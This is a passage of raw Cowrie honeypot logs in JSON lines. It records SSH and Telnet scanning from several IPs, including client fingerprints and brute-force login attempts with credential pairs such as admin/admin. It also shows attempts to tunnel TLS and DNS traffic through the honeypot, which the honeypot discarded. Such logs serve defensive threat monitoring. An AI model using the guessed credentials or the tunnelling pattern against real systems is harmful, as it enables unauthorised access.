t\\xc0\\xd7\\x1f=@\\xf0=me\\x0e\\x10\\x12,\\x92\\x01D\\xe2\\xff\\xf2\\xf0B\\x9ds\\x87\\xe4\\x1c\\xb8D\\n\\xb0V\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:35.679070Z","src_ip":"113.164.152.20","session":"6353608e6a23","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:35.973001Z","session":"6353608e6a23","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:36.487882Z","src_ip":"113.164.152.20","session":"6353608e6a23","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1fv%:7j7\\xad\\xc6\\xff\\x9e_\\xe8\\x1d\\xb7\\x85\\x96\\xa9\\xbf\\xe3\\xb6\\xd2\\xc2\\xc8\\x195\\x04\\rwi\\xfcv -\\xd5\\x82\\xe7\\xa157S\\xb6\\xf7\\xec\\xa75P\\x16\\xd8[f\\x1aU\\x00\\xcd\\xd5$\\xcf\\x1b\\xe9n\\xae\\x91\\x17\\xe0\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xff\\xbe1 8\\x8c`\\xe8fG\\xd8\\x87\\x8bQ\\x83\\xfb\\x8c t\\'\\xf92\\x9cHc\\xa5\\xb3\\x1eUw\\xdd>\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1fv%:7j7\\xad\\xc6\\xff\\x9e_\\xe8\\x1d\\xb7\\x85\\x96\\xa9\\xbf\\xe3\\xb6\\xd2\\xc2\\xc8\\x195\\x04\\rwi\\xfcv -\\xd5\\x82\\xe7\\xa157S\\xb6\\xf7\\xec\\xa75P\\x16\\xd8[f\\x1aU\\x00\\xcd\\xd5$\\xcf\\x1b\\xe9n\\xae\\x91\\x17\\xe0\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xff\\xbe1 8\\x8c`\\xe8fG\\xd8\\x87\\x8bQ\\x83\\xfb\\x8c t\\'\\xf92\\x9cHc\\xa5\\xb3\\x1eUw\\xdd>\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:36.491793Z","src_ip":"113.164.152.20","session":"6353608e6a23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:36.550860Z","src_ip":"91.92.40.36","session":"5fc9503f04dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:37.088694Z","src_ip":"113.164.152.20","session":"6353608e6a23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":56262,"dst_ip":"159.203.135.109","dst_port":22,"session":"98a2f7509104","protocol":"ssh","message":"New connection: 91.92.40.36:56262 (159.203.135.109:22) [session: 98a2f7509104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:37.251161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:37.721122Z","src_ip":"91.92.40.36","session":"98a2f7509104","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:37.748593Z","src_ip":"91.92.40.36","session":"98a2f7509104","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":57432,"dst_ip":"10.17.0.5","dst_port":22,"session":"c60bf160b515","protocol":"ssh","message":"New connection: 87.251.64.176:57432 (10.17.0.5:22) [session: c60bf160b515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:39.382834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:39.388040Z","src_ip":"87.251.64.176","session":"c60bf160b515","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:39.491084Z","src_ip":"87.251.64.176","session":"c60bf160b515","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:39.825152Z","src_ip":"87.251.64.176","session":"c60bf160b515","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:39.957241Z","session":"c60bf160b515","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:40.091680Z","src_ip":"87.251.64.176","session":"c60bf160b515","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:40.226063Z","src_ip":"87.251.64.176","session":"c60bf160b515","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123qwerty","message":"login attempt [es/123qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:40.672073Z","src_ip":"91.92.40.36","session":"98a2f7509104","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:42.343800Z","src_ip":"91.92.40.36","session":"98a2f7509104","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.85239601135254,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:43.225469Z","src_ip":"172.81.62.90","session":"0807e701a8d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":56276,"dst_ip":"159.203.135.109","dst_port":22,"session":"e843dc8599f9","protocol":"ssh","message":"New connection: 91.92.40.36:56276 (159.203.135.109:22) [session: e843dc8599f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:45.790612Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":60206,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd1982511c5a","protocol":"ssh","message":"New connection: 38.93.206.2:60206 (159.203.135.109:22) [session: dd1982511c5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:46.465187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:46.472927Z","src_ip":"38.93.206.2","session":"dd1982511c5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:46.525799Z","src_ip":"38.93.206.2","session":"dd1982511c5a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:46.535277Z","src_ip":"91.92.40.36","session":"e843dc8599f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:46.538467Z","src_ip":"91.92.40.36","session":"e843dc8599f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"15111983","message":"login attempt [root/15111983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:46.695748Z","src_ip":"38.93.206.2","session":"dd1982511c5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:47.749374Z","src_ip":"38.93.206.2","session":"dd1982511c5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":14200,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac853118cc4f","protocol":"ssh","message":"New connection: 91.92.40.36:14200 (159.203.135.109:22) [session: ac853118cc4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:52.651514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:53.015886Z","src_ip":"91.92.40.36","session":"ac853118cc4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:53.019075Z","src_ip":"91.92.40.36","session":"ac853118cc4f","protocol":"ssh"}
